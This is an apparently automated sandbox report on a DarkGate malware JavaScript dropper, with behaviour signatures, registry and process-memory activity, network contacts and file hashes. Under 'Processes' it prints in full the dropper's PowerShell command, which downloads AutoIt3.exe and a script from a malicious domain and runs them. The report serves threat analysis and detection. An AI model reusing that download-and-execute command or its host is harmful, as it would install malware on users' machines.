Analysis Overview
SHA256
aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe
Threat Level: Known bad
The file 07112023_2238_app(060e45bf7b57d4).js was found to be: Known bad.
Malicious Activity Summary
DarkGate
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-07 14:38
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-07 14:38
Reported
2023-11-07 14:41
Platform
win10v2004-20231025-en
Max time kernel
99s
Max time network
152s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4264 wrote to memory of 988 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4264 wrote to memory of 988 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 988 wrote to memory of 4320 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 988 wrote to memory of 4320 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 988 wrote to memory of 4320 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" jhoziucv.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 161.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | siliconerumble.com | udp |
| US | 185.174.101.224:443 | siliconerumble.com | tcp |
| US | 8.8.8.8:53 | 198.1.85.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.101.174.185.in-addr.arpa | udp |
| US | 185.174.101.224:443 | siliconerumble.com | tcp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.208.253.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.201.86.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hovk3bdr.rmr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/988-5-0x0000027967440000-0x0000027967462000-memory.dmp
memory/988-10-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp
memory/988-13-0x000002794CC90000-0x000002794CCA0000-memory.dmp
memory/988-12-0x000002794CC90000-0x000002794CCA0000-memory.dmp
memory/988-11-0x000002794CC90000-0x000002794CCA0000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/988-27-0x00007FFB6FC40000-0x00007FFB70701000-memory.dmp
C:\tepp\jhoziucv.au3
| MD5 | 4772a901165d49c57fa3ef6f13917d7d |
| SHA1 | 744ecf877c5339a4e95c8fe35cf13c84bce2e800 |
| SHA256 | 44e466072f23e7936f31eb33b914a433c019ff8519828590a9b3371d3861d34f |
| SHA512 | 532c0a1b780f5bc5ee8054e6ee363ffc55e1c5c14c43827a3289498dc982a63c9058b2f14866e4a1b45973500ad280915e0496c6c0545818852fd5daa4e380e3 |
memory/4320-30-0x0000000004310000-0x0000000004510000-memory.dmp
memory/4320-31-0x0000000004D60000-0x0000000004EF5000-memory.dmp
memory/4320-32-0x0000000004D60000-0x0000000004EF5000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-07 14:38
Reported
2023-11-07 14:40
Platform
win7-20231023-en
Max time kernel
122s
Max time network
127s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2116 wrote to memory of 1688 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2116 wrote to memory of 1688 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2116 wrote to memory of 1688 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_2238_app(060e45bf7b57d4).js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"
Network
Files
memory/1688-4-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp
memory/1688-6-0x000000001B200000-0x000000001B4E2000-memory.dmp
memory/1688-5-0x0000000002680000-0x0000000002700000-memory.dmp
memory/1688-8-0x0000000002390000-0x0000000002398000-memory.dmp
memory/1688-7-0x0000000002680000-0x0000000002700000-memory.dmp
memory/1688-9-0x0000000002680000-0x0000000002700000-memory.dmp
memory/1688-10-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp